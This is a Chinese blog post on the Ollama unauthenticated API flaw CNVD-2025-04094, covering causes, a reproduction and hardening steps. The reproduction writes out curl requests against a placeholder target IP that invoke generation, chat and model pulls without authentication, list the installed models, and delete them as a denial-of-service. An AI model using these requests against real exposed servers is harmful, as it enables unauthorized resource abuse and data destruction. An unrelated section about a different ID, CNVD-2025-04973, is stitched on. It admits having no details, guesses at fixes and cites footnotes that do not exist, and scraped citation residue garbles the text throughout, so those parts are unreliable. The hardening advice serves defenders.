CNVD-2025-04094 Ollama 未授权访问漏洞

   Ollama 是一个开源的大语言模型(LLM)运行环境和工具集,旨在帮助开发者轻松部署、管理和使用模型(如 DeepSeek 等)。 Ollama 存在未授权访问漏洞,攻击者可以直接访问敏感接口进行读取、下载或删除私有模型文件,或滥用模型推理资源等高危操作。

根据 Ollama 官方文档与库页面,目前支持的模型类型众多,可通过 CLI 或 Modelfile 定制使用:

  1. LLM 基础模型(tools & thinking)

  2. 多模态与视觉模型(vision)

  3. 嵌入与专用任务模型

    • nomic‑embed‑textbge‑m3snowflake, all‑minilm 等适用于嵌入计算任务

    • StarCoder2DeepSeek‑coder‑v2 等针对代码生成任务byteplus.com+5ollama.com+5github.com+5

  4. 精简小型模型与混合专家模型


如何查看本地可用模型

  • 使用 ollama list 命令,可列出当前本地已下载模型reddit.com+14medium.com+14github.com+14

  • 使用 ollama show <model> 查看模型详细信息与支持功能。

  • 若需要查看 Ollama 官方库的可用模型,可访问 [ollama.com/library] 并结合 ollama pull 拉取指定模型(例如 ollama pull llama3.2github.com+1ollama.readthedocs.io+1

漏洞概览

检测方法

  1. 主动检测

    • 使用命令:

      sudo netstat -tulpn | grep 11434 
  2. 自动化工具扫描

漏洞成因分解

1. 默认监听无认证接口

Ollama 默认以 127.0.0.1:11434 监听本地接口提供服务,但:

  • 并没有内置任何身份验证机制(如 API Key、Token、Basic Auth 等);

  • 所有 REST API 接口(如 /api/generate/api/pull/api/chat 等)完全信任任何来源的调用请求

这意味着:只要网络连通,攻击者即可直接调用全部敏感接口。


2. 用户配置错误(监听地址改为 0.0.0.0)

Ollama 的启动支持环境变量配置监听地址:

export OLLAMA_HOST=0.0.0.0

很多用户为了远程访问、前端调用、API 调试等方便,将其暴露为 0.0.0.0 或公网 IP,但:

  • 未设置认证;

  • 未限制访问来源;

  • 通常未设置反向代理或安全网关。

导致服务从“只限本地访问”变成了“暴露到整个公网”,完全敞开。


3. Ollama 没有认证机制支持

Ollama 目前版本存在结构性设计缺陷:

  • 没有用户体系;

  • 没有 Session、Cookie 或 Token 校验机制;

  • 不支持 API Key、OAuth、JWT 等现代认证手段;

  • 无法通过 Ollama 自身配置做到任何形式的访问控制

这导致一旦端口暴露,服务即陷入“裸奔”状态


4. 部署环境缺少最小化信任边界

在实际部署过程中,很多用户未设置:

  • 防火墙(如 iptables、ufw)限制 11434 端口来源;

  • 云服务平台(如 AWS、阿里云)中的安全组规则;

  • 反向代理访问控制(如 Nginx + Basic Auth);

  • 监控与告警机制(如请求速率、API 频次告警);

这让攻击者可以使用自动化工具横扫整个互联网,找到暴露的 Ollama 实例进行操控。

漏洞复现

一、环境准备

1. 安装 Ollama(如 Ubuntu / macOS)

# macOS brew install ollama # Ubuntu / Debian curl -fsSL https://ollama.com/install.sh | sh

2. 启动服务并监听公网(复现核心点)

默认 Ollama 仅监听 127.0.0.1:11434,为了复现漏洞,需要人为设置监听 0.0.0.0(所有网卡):

export OLLAMA_HOST=0.0.0.0 ollama serve &

注意:此时本机的 11434 端口将向整个局域网甚至公网开放,处于“裸奔”状态。


3. 拉取模型供测试使用

ollama pull llama3

此步骤将下载一个基础模型(如 Meta 的 LLaMA3),后续攻击者即可直接调用该模型进行交互。


二、漏洞复现步骤

你现在可以模拟远程攻击者行为,例如从另一台主机访问:

1. 未授权调用 /api/generate 接口

curl -X POST http://<目标IP>:11434/api/generate \ -H "Content-Type: application/json" \ -d '{ "model": "llama3", "prompt": "请介绍下你自己。", "stream": false }'

预期结果:服务返回模型生成内容,说明接口被完全绕过,无需认证。


2. 未授权调用 /api/chat 接口

curl -X POST http://<目标IP>:11434/api/chat \ -H "Content-Type: application/json" \ -d '{ "model": "llama3", "messages": [{"role": "user", "content": "告诉我某个企业的信息。"}], "stream": false }'

模拟上下文对话,可用于提取敏感信息或构造 prompt injection。


3. 利用 /api/pull 拉取任意模型

curl -X POST http://<目标IP>:11434/api/pull \ -H "Content-Type: application/json" \ -d '{"name": "mistral"}'

 若攻击者传入恶意构造的模型名(可伪造远程 URL、嵌入恶意行为),可触发代码侧信任链攻击(尚需配合模型验证绕过)。

 4. 查看所有已加载模型

curl http://<目标IP>:11434/api/tags

获取当前目标 Ollama 实例中可用的模型标签,配合 /api/delete 可构成 DoS 攻击:

curl -X DELETE http://<目标IP>:11434/api/delete \ -H "Content-Type: application/json" \ -d '{"name": "llama3"}'

修复建议

一、【官方开发者层面】修复建议

这是最关键的根因解决层,建议 Ollama 后续版本做如下改进:

1. 引入认证机制

  • 支持 API Key(通过环境变量或配置文件设置)

  • 支持 HTTP Basic Auth、JWT、OAuth 等标准认证方式

  • 添加权限角色(如只读 / 只写 / 管理员)

2. 默认强制绑定本地接口

  • 默认强制绑定 127.0.0.1,禁止监听 0.0.0.0,除非显式设置

  • 若监听 0.0.0.0,必须提示高风险警告

3. 接口访问日志与告警

  • 对敏感接口如 /api/pull/api/delete/api/chat 开启请求日志

  • 添加访问速率限制、异常访问告警功能

4. 配置文件安全预设模板

  • 提供 secure.conf 配置模板,引导用户配置身份验证和监听地址


二、【运维部署者层面】修复建议

如果你是安全运维、DevOps、平台工程师,建议立即采取以下加固措施:

1. 禁止监听公网地址

  • 推荐配置方式:

    export OLLAMA_HOST=127.0.0.1
  • 或在 systemd 服务文件中设置:

    Environment="OLLAMA_HOST=127.0.0.1"

2. 使用反向代理加认证

通过 Nginx / Caddy 等反向代理添加认证层:

Nginx 示例:
server { listen 80; server_name your-domain.com; location / { proxy_pass http://localhost:11434; auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; } }

.htpasswd 可使用 htpasswd 工具生成)


3. 部署防火墙/安全组规则

  • 本地防火墙(如 iptables / ufw)

    sudo ufw allow from 192.168.1.0/24 to any port 11434 sudo ufw deny 11434/tcp
  • 云服务安全组(如 AWS、阿里云)

    • 限制端口 11434 仅允许公司内网或白名单 IP 访问

    • 禁止 0.0.0.0/0 的全公网访问


4. 对敏感接口设置访问频率限制

使用 Nginx 的 limit_req_zone 模块:

limit_req_zone $binary_remote_addr zone=api_limit:10m rate=1r/s; location /api/ { limit_req zone=api_limit burst=5; proxy_pass http://localhost:11434; }
当前提供的引用内容并未提及关于 **CNVD-2025-04973** 的具体细节或修复方法。然而,可以根据常见的漏洞修复流程以及已知的安全实践来推测可能的解决方案。 以下是针对此类漏洞的一般性修复建议: ### 1. 更新至最新版本 通常情况下,软件厂商会在发现漏洞后发布补丁程序或更新版本以解决安全问题。对于 **CNVD-2025-04973** 漏洞,应确认受影响的应用程序是否有可用的新版本或热修补程序[^1]。如果存在,请及时升级到最新的稳定版。 ### 2. 配置访问控制策略 许多漏洞源于不当配置或者权限管理不严格。例如,在某些 API 接口中可能存在未授权访问的情况。因此,强化系统的访问控制机制至关重要。可以通过设置严格的认证鉴权措施防止非法操作发生。比如启用 OAuth 或其他形式的身份验证手段,并确保只有经过许可的用户才能调用敏感接口[^2]。 ### 3. 实施最小化原则 遵循最小特权原则(Principle of Least Privilege),仅授予必要的功能和服务给应用程序运行所需的角色/账户。这样即使某个部分被攻破,也能最大限度减少损害范围[^3]。 ### 4. 定期审计日志记录 保持良好的监控习惯有助于快速检测异常行为并作出响应。定期审查服务器上的活动日志可以帮助识别潜在威胁源及其模式;同时也可以作为事后分析的重要依据之一。 虽然以上几点并非专门针对某一特定编号(CNVD-2025-04973),但它们代表了一套通用且有效的防御措施适用于多种类型的网络安全事件处置场景之中。 ```python # 示例代码展示如何通过Python脚本检查系统是否存在易受攻击的服务端口开放情况 import socket def test_port(host, port): try: sock = socket.create_connection((host, port), timeout=2) sock.close() return True except Exception as ex: return False if __name__ == "__main__": host_to_check = 'localhost' ports_list = [80, 443, 427] vulnerable_ports = [] for p in ports_list: if test_port(host_to_check,p): vulnerable_ports.append(p) if len(vulnerable_ports)>0 : print(f"The following potentially dangerous ports are open:{vulnerable_ports}") else: print("No risky services detected.") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值